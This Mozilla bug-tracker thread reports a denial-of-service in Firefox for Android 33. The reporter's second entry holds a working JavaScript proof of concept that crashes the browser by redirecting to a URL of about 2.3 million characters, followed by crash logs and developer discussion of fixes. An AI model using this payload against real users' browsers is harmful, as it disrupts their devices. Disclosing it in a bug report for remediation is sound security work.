1105880 - Firefox Browser v33.0- 33.1 for Android .href .replace DOS

Reporter

Description

•

10 years ago

Attached file DOS.txt — Details

User Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36

Steps to reproduce:

Firefox Browser v33.0  33.1 for Android  .href .replace DOS


Actual results:

Firefox Browser v33.0  33.1 for Android  .href .replace DOS

Hadji Samir

Reporter

Updated

•

10 years ago

OS: Windows 7 → Android

Hardware: x86 → ARM

Aaron Train [:aaronmt]

Updated

•

10 years ago

Group: core-security

Hadji Samir

Reporter

Updated

•

10 years ago

URL: http://milw00rm.com/watch/3658.mp4

Hadji Samir

Reporter

Updated

•

10 years ago

Component: General → Web Apps

Hadji Samir

Reporter

Comment 1

•

10 years ago

<script type="text/javascript">
  
function mul(str,count){
    if(count==0) return '';
    var binaryCount = count.toString(2);
    var numDegree = binaryCount.length;
    var resultStr='';
    for(var i=0; i<numDegree; i++){
        resultStr+=resultStr; 
        if(binaryCount.charAt(i) == '1'){
            resultStr+=str;
        }
    }
    return resultStr;
}
  
var junka = "a";
  
var junk = mul(junka,2304453);
  
//window.location.href = "http://" + junk;
  
window.location.replace("http://" + junk);
  
</script>
</head>
<body>
  
</body>
</html>

Aaron Train [:aaronmt]

Updated

•

10 years ago

Component: Web Apps → General

Richard Newman [:rnewman]

Comment 2

•

10 years ago

Reminds me of Bug 1037476.

Hadji Samir

Reporter

Updated

•

10 years ago

Component: General → Web Apps

Aaron Train [:aaronmt]

Comment 3

•

10 years ago

Please stop switching components.

Component: Web Apps → General

Hadji Samir

Reporter

Comment 4

•

10 years ago

Ok

Aaron Train [:aaronmt]

Comment 5

•

10 years ago

This is public at: http://milw00rm.com/exploits/3631

Hadji Samir

Reporter

Comment 6

•

10 years ago

This is not official website

Kevin Brosnan [Ex-Mozilla]

Comment 7

•

10 years ago

This is already public. Opening to get more eyeballs on it.

Group: core-security

Status: UNCONFIRMED → NEW

tracking-fennec: --- → ?

Ever confirmed: true

Keywords: csectype-dos

Hadji Samir

Reporter

Comment 8

•

10 years ago

This is not officials

Hadji Samir

Reporter

Updated

•

10 years ago

URL: http://milw00rm.com/watch/3658.mp4

Comment hidden (spam)

!!!!!

Hadji Samir

Reporter

Comment 10

•

10 years ago

12-07 00:36:42.968 22207 22258 E ActivityThread: Failed to find provider info for com.google.plus.platform

12-07 00:36:44.800 22207 22207 E AndroidRuntime: FATAL EXCEPTION: main

12-07 00:36:44.800 22207 22207 E AndroidRuntime: java.lang.RuntimeException: Package manager has died

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at android.app.ApplicationPackageManager.resolveActivity(ApplicationPackageManager.java:453)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at com.boatbrowser.free.utils.BoatUtils.canHandleIntentForPkg(BoatUtils.java:837)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at com.boatbrowser.free.Controller.shouldOverrideUrlLoading(Controller.java:2807)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at com.boatbrowser.free.browser.Tab$3.shouldOverrideUrlLoading(Tab.java:433)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at android.webkit.CallbackProxy.uiOverrideUrlLoading(CallbackProxy.java:300)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at android.webkit.CallbackProxy.handleMessage(CallbackProxy.java:493)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at android.os.Handler.dispatchMessage(Handler.java:99)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at android.os.Looper.loop(Looper.java:155)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at android.app.ActivityThread.main(ActivityThread.java:5520)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at java.lang.reflect.Method.invokeNative(Native Method)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at java.lang.reflect.Method.invoke(Method.java:511)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1029)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:796)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at dalvik.system.NativeStart.main(Native Method)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: Caused by: android.os.TransactionTooLargeException

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at android.os.BinderProxy.transact(Native Method)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at android.content.pm.IPackageManager$Stub$Proxy.resolveIntent(IPackageManager.java:1998)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: at android.app.ApplicationPackageManager.resolveActivity(ApplicationPackageManager.java:448)

12-07 00:36:44.800 22207 22207 E AndroidRuntime: ... 13 more

--------- beginning of /dev/log/main

12-07 00:38:50.782 22469 22469 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:38:50.883 22446 22481 E GeckoLibLoad: Load sqlite start

12-07 00:38:50.963 22446 22481 E GeckoLibLoad: Load sqlite done

12-07 00:38:50.973 22446 22481 E GeckoLibLoad: Load nss start

12-07 00:38:50.973 22446 22481 E GeckoLibLoad: Load nss done

12-07 00:38:51.633 22469 22485 E dalvikvm: Could not find class 'android.app.AppOpsManager', referenced from method com.google.android.gms.common.util.e.a

12-07 00:38:51.813 22446 22481 E GeckoLibLoad: Loaded libs in 842ms total, 190ms(280ms) user, 110ms(160ms) system, 61(61) faults

12-07 00:38:52.294 22469 22469 E YouTube MDX: Bogus value in shared preferences for key MdxServerSelection value , returning default value.

12-07 00:38:52.344 22469 22469 E dalvikvm: Could not find class 'bdb', referenced from method bda.<init>

12-07 00:38:52.364 22469 22469 E dalvikvm: Could not find class 'csb', referenced from method com.google.android.apps.youtube.core.player.notification.ExternalPlaybackControllerV14.<init>

12-07 00:38:52.384 22446 22481 E GeckoConsole: Could not read chrome manifest 'file:///data/data/org.mozilla.firefox/chrome.manifest'.

12-07 00:38:53.365 22446 22481 E GeckoConsole: [JavaScript Warning: "mutating the [[Prototype]] of an object will cause your code to run very slowly; instead create the object with the correct initial [[Prototype]] value using Object.create" {file: "resource://gre/modules/Preferences.jsm" line: 378}]

12-07 00:38:55.567 22446 22571 E GeckoConsole: OpenGL compositor Initialized Succesfully.

12-07 00:38:55.567 22446 22571 E GeckoConsole: Version: OpenGL ES 2.0

12-07 00:38:55.567 22446 22571 E GeckoConsole: Vendor: ARM

12-07 00:38:55.567 22446 22571 E GeckoConsole: Renderer: Mali-400 MP

12-07 00:38:55.567 22446 22571 E GeckoConsole: FBO Texture Target: TEXTURE_2D

12-07 00:38:55.627 22446 22481 E GeckoConsole: Adding HealthReport:RequestSnapshot observer.

12-07 00:38:55.857 22446 22481 E GeckoConsole: [JavaScript Warning: "window.controllers is deprecated. Do not use it for UA detection." {file: "chrome://browser/content/browser.js" line: 3190}]

12-07 00:39:00.452 22585 22585 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:39:00.762 22446 22481 E GeckoConsole: [JavaScript Error: "this.defaultBrowsers is undefined" {file: "resource://gre/modules/HelperApps.jsm" line: 117}]

12-07 00:39:04.566  1878  1878 E MAD     : mad_at_handler_send_FD: Inside mad_at_handler_send_FD and the command is: AT*EHSTACT=2

12-07 00:39:04.576  1878  1878 E MAD     : mad_at_handler_send_FD: Got error response:

12-07 00:39:04.576  1878  1878 E MAD     : OK

12-07 00:39:04.576  1878  1878 E MAD     : screen_display_process_callback: Screen state same as the last sent, not sending it again

12-07 00:39:05.887  2234  2517 E mode10  : <2517> [FxResourceManager]: GetAssetManagerContainsFile, failed to get java AssetManager of file path=productivity_listview

12-07 00:39:05.887  2234  2517 E mode10  : <2517> [SceneLoader] PreLoad, failed to load timeline=productivity_listview

12-07 00:39:05.887  2234  2517 E mode10  : <2517> Timeline load failure

12-07 00:39:05.907  2234  2517 E mode10  : <2517> [FxResourceManager]: GetAssetManagerContainsFile, failed to get java AssetManager of file path=productivity_listview

12-07 00:39:05.907  2234  2517 E mode10  : <2517> [SceneLoader] PreLoad, failed to load timeline=productivity_listview

12-07 00:39:05.907  2234  2517 E mode10  : <2517> Timeline load failure

12-07 00:39:05.927  2234  2517 E mode10  : <2517> [FxResourceManager]: GetAssetManagerContainsFile, failed to get java AssetManager of file path=productivity_listview

12-07 00:39:05.927  2234  2517 E mode10  : <2517> [SceneLoader] PreLoad, failed to load timeline=productivity_listview

12-07 00:39:05.927  2234  2517 E mode10  : <2517> Timeline load failure

12-07 00:39:05.947  2234  2517 E mode10  : <2517> [FxResourceManager]: GetAssetManagerContainsFile, failed to get java AssetManager of file path=productivity_listview

12-07 00:39:05.947  2234  2517 E mode10  : <2517> [SceneLoader] PreLoad, failed to load timeline=productivity_listview

12-07 00:39:05.947  2234  2517 E mode10  : <2517> Timeline load failure

12-07 00:39:06.398  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:39:06.418  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:39:06.418  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:39:06.428  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:39:06.458  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:39:06.468  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:39:06.478  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:39:06.478  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:39:06.498  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:39:06.508  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:39:06.508  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:39:06.518  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:39:06.778  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:39:06.788  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:39:06.798  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:39:07.829  1889  1972 E InputDispatcher: channel '42482550 org.mozilla.firefox/org.mozilla.firefox.App (server)' ~ Channel is unrecoverably broken and will be disposed!

12-07 00:39:07.939 22629 22629 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:39:34.530  1878  1878 E MAD     : mad_at_handler_send_FD: Inside mad_at_handler_send_FD and the command is: AT*EHSTACT=1

12-07 00:39:34.530  1878  1878 E MAD     : mad_at_handler_send_FD: Got error response:

12-07 00:39:34.530  1878  1878 E MAD     : OK

12-07 00:39:34.530  1878  1878 E MAD     : screen_display_process_callback: Screen state same as the last sent, not sending it again

12-07 00:39:35.440 22673 22673 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:39:35.951  1889  1964 E KeyguardViewMediator: EXCEPTION when NativeJniUnlock.unlock(2) : UnsatisfiedLinkError

12-07 00:39:36.701 22689 22689 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:39:36.862 22629 22704 E GeckoLibLoad: Load sqlite start

12-07 00:39:36.902 22629 22704 E GeckoLibLoad: Load sqlite done

12-07 00:39:36.902 22629 22704 E GeckoLibLoad: Load nss start

12-07 00:39:36.902 22629 22704 E GeckoLibLoad: Load nss done

12-07 00:39:37.222 22689 22689 E PeopleApp: DialerService connected !

12-07 00:39:37.592 21185 21185 E TelephonyManager: Hidden constructor called more than once per process!

12-07 00:39:37.592 21185 21185 E TelephonyManager: Original: com.htc.flexnet, new: com.htc.autobot

12-07 00:39:37.662 22714 22714 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:39:38.003 22629 22704 E GeckoLibLoad: Loaded libs in 1100ms total, 220ms(330ms) user, 90ms(160ms) system, 27(28) faults

12-07 00:39:38.013 22732 22732 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:39:38.373 22752 22752 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:39:38.833 22629 22704 E GeckoConsole: Could not read chrome manifest 'file:///data/data/org.mozilla.firefox/chrome.manifest'.

12-07 00:39:38.894 22752 22752 E SyncApplication: Application created.

12-07 00:39:39.234 22780 22780 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:39:40.325 22629 22704 E GeckoConsole: [JavaScript Warning: "mutating the [[Prototype]] of an object will cause your code to run very slowly; instead create the object with the correct initial [[Prototype]] value using Object.create" {file: "resource://gre/modules/Preferences.jsm" line: 378}]

12-07 00:39:40.455 22801 22801 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:39:42.797 22629 22832 E GeckoConsole: OpenGL compositor Initialized Succesfully.

12-07 00:39:42.797 22629 22832 E GeckoConsole: Version: OpenGL ES 2.0

12-07 00:39:42.797 22629 22832 E GeckoConsole: Vendor: ARM

12-07 00:39:42.797 22629 22832 E GeckoConsole: Renderer: Mali-400 MP

12-07 00:39:42.797 22629 22832 E GeckoConsole: FBO Texture Target: TEXTURE_2D

12-07 00:39:42.827 22629 22704 E GeckoConsole: Adding HealthReport:RequestSnapshot observer.

12-07 00:39:43.468 22629 22704 E GeckoConsole: [JavaScript Error: "TypeError: this.selectedTab is null" {file: "chrome://browser/content/browser.js" line: 1692}]

12-07 00:39:43.558 22629 22704 E GeckoConsole: [JavaScript Warning: "window.controllers is deprecated. Do not use it for UA detection." {file: "chrome://browser/content/browser.js" line: 3190}]

12-07 00:39:45.620 22629 22704 E GeckoConsole: [JavaScript Error: "this.defaultBrowsers is undefined" {file: "resource://gre/modules/HelperApps.jsm" line: 117}]

12-07 00:39:45.630 22629 22704 E GeckoConsole: [JavaScript Error: "this.defaultBrowsers is undefined" {file: "resource://gre/modules/HelperApps.jsm" line: 117}]

12-07 00:39:47.402 22863 22863 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:39:58.893 22910 22910 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:39:59.163 22922 22922 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:39:59.424 22939 22939 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:39:59.774 22953 22953 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:40:00.415 22968 22968 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:40:00.675 22968 22968 E Comm    : [ main: Utils.java:208 isAppInstalled ] - Package not found: com.sina.mfweibo

12-07 00:40:01.225 22984 22984 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:40:01.706 23009 23009 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:40:02.376 23032 23032 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:40:03.377 23032 23061 E GeckoLibLoad: Load sqlite start

12-07 00:40:03.508 23032 23061 E GeckoLibLoad: Load sqlite done

12-07 00:40:03.508 23032 23061 E GeckoLibLoad: Load nss start

12-07 00:40:03.508 23032 23061 E GeckoLibLoad: Load nss done

12-07 00:40:03.868 23032 23061 E GeckoLibLoad: Loaded libs in 359ms total, 140ms(210ms) user, 100ms(120ms) system, 6(6) faults

12-07 00:40:04.158 23032 23061 E GeckoConsole: Could not read chrome manifest 'file:///data/data/org.mozilla.firefox/chrome.manifest'.

12-07 00:40:04.739 23032 23061 E GeckoConsole: [JavaScript Warning: "mutating the [[Prototype]] of an object will cause your code to run very slowly; instead create the object with the correct initial [[Prototype]] value using Object.create" {file: "resource://gre/modules/Preferences.jsm" line: 378}]

12-07 00:40:06.771 23032 23089 E GeckoConsole: OpenGL compositor Initialized Succesfully.

12-07 00:40:06.771 23032 23089 E GeckoConsole: Version: OpenGL ES 2.0

12-07 00:40:06.771 23032 23089 E GeckoConsole: Vendor: ARM

12-07 00:40:06.771 23032 23089 E GeckoConsole: Renderer: Mali-400 MP

12-07 00:40:06.771 23032 23089 E GeckoConsole: FBO Texture Target: TEXTURE_2D

12-07 00:40:06.801 23032 23061 E GeckoConsole: Adding HealthReport:RequestSnapshot observer.

12-07 00:40:06.861 23032 23061 E GeckoConsole: [JavaScript Error: "TypeError: this.selectedTab is null" {file: "chrome://browser/content/browser.js" line: 1692}]

12-07 00:40:06.941 23032 23061 E GeckoConsole: [JavaScript Warning: "window.controllers is deprecated. Do not use it for UA detection." {file: "chrome://browser/content/browser.js" line: 3190}]

12-07 00:40:07.001 23032 23061 E GeckoConsole: [JavaScript Warning: "window.controllers is deprecated. Do not use it for UA detection." {file: "chrome://browser/content/browser.js" line: 3190}]

12-07 00:40:11.385 23032 23061 E GeckoConsole: [JavaScript Error: "this.defaultBrowsers is undefined" {file: "resource://gre/modules/HelperApps.jsm" line: 117}]

12-07 00:40:17.001  1878  1878 E MAD     : mad_at_handler_send_FD: Inside mad_at_handler_send_FD and the command is: AT*EHSTACT=2

12-07 00:40:17.001  1878  1878 E MAD     : mad_at_handler_send_FD: Got error response:

12-07 00:40:17.001  1878  1878 E MAD     : OK

12-07 00:40:17.031  1878  1878 E MAD     : screen_display_process_callback: Screen state same as the last sent, not sending it again

12-07 00:40:17.061  1889  1960 E JavaBinder: !!! FAILED BINDER TRANSACTION !!!

12-07 00:40:17.061  1889  1960 E JavaBinder: !!! FAILED BINDER TRANSACTION !!!

12-07 00:40:17.131  1889  1972 E InputDispatcher: channel '41f63c38 org.mozilla.firefox/org.mozilla.firefox.App (server)' ~ Channel is unrecoverably broken and will be disposed!

12-07 00:40:18.052  2234  2517 E mode10  : <2517> [FxResourceManager]: GetAssetManagerContainsFile, failed to get java AssetManager of file path=productivity_listview

12-07 00:40:18.052  2234  2517 E mode10  : <2517> [SceneLoader] PreLoad, failed to load timeline=productivity_listview

12-07 00:40:18.052  2234  2517 E mode10  : <2517> Timeline load failure

12-07 00:40:18.062  2234  2517 E mode10  : <2517> [FxResourceManager]: GetAssetManagerContainsFile, failed to get java AssetManager of file path=productivity_listview

12-07 00:40:18.062  2234  2517 E mode10  : <2517> [SceneLoader] PreLoad, failed to load timeline=productivity_listview

12-07 00:40:18.072  2234  2517 E mode10  : <2517> Timeline load failure

12-07 00:40:18.082  1878  1878 E MAD     : mad_at_handler_send_FD: Inside mad_at_handler_send_FD and the command is: AT*EHSTACT=1

12-07 00:40:18.092  1878  1878 E MAD     : mad_at_handler_send_FD: Got error response:

12-07 00:40:18.092  1878  1878 E MAD     : OK

12-07 00:40:18.092  1878  1878 E MAD     : screen_display_process_callback: Screen state same as the last sent, not sending it again

12-07 00:40:18.102  2234  2517 E mode10  : <2517> [FxResourceManager]: GetAssetManagerContainsFile, failed to get java AssetManager of file path=productivity_listview

12-07 00:40:18.102  2234  2517 E mode10  : <2517> [SceneLoader] PreLoad, failed to load timeline=productivity_listview

12-07 00:40:18.102  2234  2517 E mode10  : <2517> Timeline load failure

12-07 00:40:18.122  2234  2517 E mode10  : <2517> [FxResourceManager]: GetAssetManagerContainsFile, failed to get java AssetManager of file path=productivity_listview

12-07 00:40:18.122  2234  2517 E mode10  : <2517> [SceneLoader] PreLoad, failed to load timeline=productivity_listview

12-07 00:40:18.122  2234  2517 E mode10  : <2517> Timeline load failure

12-07 00:40:18.843  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:40:18.853  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:40:18.853  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:40:18.873  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:40:18.893  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:40:18.913  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:40:18.913  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:40:18.913  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:40:18.933  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:40:18.933  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:40:18.933  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:40:18.933  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:40:19.133  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:40:19.133  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:40:19.143  2234  2517 E mode10  : <2517> Scene container cannot bind null scene

12-07 00:40:21.415  1889  1964 E KeyguardViewMediator: EXCEPTION when NativeJniUnlock.unlock(2) : UnsatisfiedLinkError

12-07 00:40:21.585 23142 23142 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:40:22.336 23176 23176 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:40:25.099 23200 23200 E Trace   : error opening trace file: No such file or directory (2)

12-07 00:40:27.351 23142 23171 E dalvikvm: Could not find class 'com.google.android.gms.ads.identifier.AdvertisingIdClient$Info', referenced from method com.google.android.gms.analytics.a.a

12-07 00:40:27.451 23255 23255 E Trace   : error opening trace file: No such file or directory (2)

Hadji Samir

Reporter

Comment 11

•

10 years ago

 [JavaScript Warning: "window.controllers is deprecated. Do not use it for UA detection." {file: "chrome://browser/content/browser.js" line: 3190}]

Kevin Brosnan [Ex-Mozilla]

Comment 12

•

10 years ago

This is a copy paste of the DOS for Chrome listed at https://code.google.com/p/chromium/issues/detail?id=71691 with the bug poster replacing the author info with their own info.

Hadji Samir

Reporter

Comment 13

•

10 years ago

i know but think why !!

Mark Finkle (:mfinkle) (use needinfo?)

Comment 14

•

10 years ago

Richard - I would have thought bug 1037476 fixed this. Could it be tweaked to do so?

Flags: needinfo?(rnewman)

Richard Newman [:rnewman]

Comment 15

•

10 years ago

(In reply to Mark Finkle (:mfinkle) from comment #14)
> Richard - I would have thought bug 1037476 fixed this. Could it be tweaked
> to do so?

See comment 2 :)

If this is a hang due to messaging a 2.3MB string, then yes, we can apply a similar approach.

If it's a hang inside Gecko itself, then we might need some other remedies.

Chrome's approach is not guarding -- they correctly note that this is Round 2 of a long game of whack-a-mole -- but instead aggressive sandboxing:

---
When the browser process fails to parse the message, it kills the renderer as part of BrowserRenderProcessHost::ReceivedBadMessage, which is what you observed.  This doesn't seem ideal to me, but I suppose it's always possible for a web page to cause the renderer to be killed with OOM, and this isn't too much worse.  The alternative would be finding everywhere the renderer could send a long URL to the browser and putting a guard on it, but it's not clear that there would always be a sensible thing to do.
---

Flags: needinfo?(rnewman)

Hadji Samir

Reporter

Comment 16

•

10 years ago

good what you wrote  (In reply to Richard Newman [:rnewman] from comment #15)
> (In reply to Mark Finkle (:mfinkle) from comment #14)
> > Richard - I would have thought bug 1037476 fixed this. Could it be tweaked
> > to do so?
> 
> See comment 2 :)
> 
> If this is a hang due to messaging a 2.3MB string, then yes, we can apply a
> similar approach.
> 
> If it's a hang inside Gecko itself, then we might need some other remedies.
> 
> Chrome's approach is not guarding -- they correctly note that this is Round
> 2 of a long game of whack-a-mole -- but instead aggressive sandboxing:
> 
> ---
> When the browser process fails to parse the message, it kills the renderer
> as part of BrowserRenderProcessHost::ReceivedBadMessage, which is what you
> observed.  This doesn't seem ideal to me, but I suppose it's always possible
> for a web page to cause the renderer to be killed with OOM, and this isn't
> too much worse.  The alternative would be finding everywhere the renderer
> could send a long URL to the browser and putting a guard on it, but it's not
> clear that there would always be a sensible thing to do.
> ---

good what you wrote

Hadji Samir

Reporter

Updated

•

10 years ago

Version: Firefox 31 → Firefox 33

Mark Finkle (:mfinkle) (use needinfo?)

Updated

•

10 years ago

Assignee: nobody → mark.finkle

tracking-fennec: ? → -

Mark Finkle (:mfinkle) (use needinfo?)

Updated

•

8 years ago

Assignee: mark.finkle → nobody

BMO Automation

Comment 18

•

3 years ago

We have completed our launch of our new Firefox on Android. The development of the new versions use GitHub for issue tracking. If the bug report still reproduces in a current version of [Firefox on Android nightly](https://play.google.com/store/apps/details?id=org.mozilla.fenix) an issue can be reported at the [Fenix GitHub project](https://github.com/mozilla-mobile/fenix/). If you want to discuss your report please use [Mozilla's chat](https://wiki.mozilla.org/Matrix#Connect_to_Matrix) server https://chat.mozilla.org and join the [#fenix](https://chat.mozilla.org/#/room/#fenix:mozilla.org) channel.

Status: NEW → RESOLVED

Closed: 3 years ago

Resolution: --- → INCOMPLETE

Nobody; OK to take it and work on it

Assignee

Updated

•

3 years ago

Product: Firefox for Android → Firefox for Android Graveyard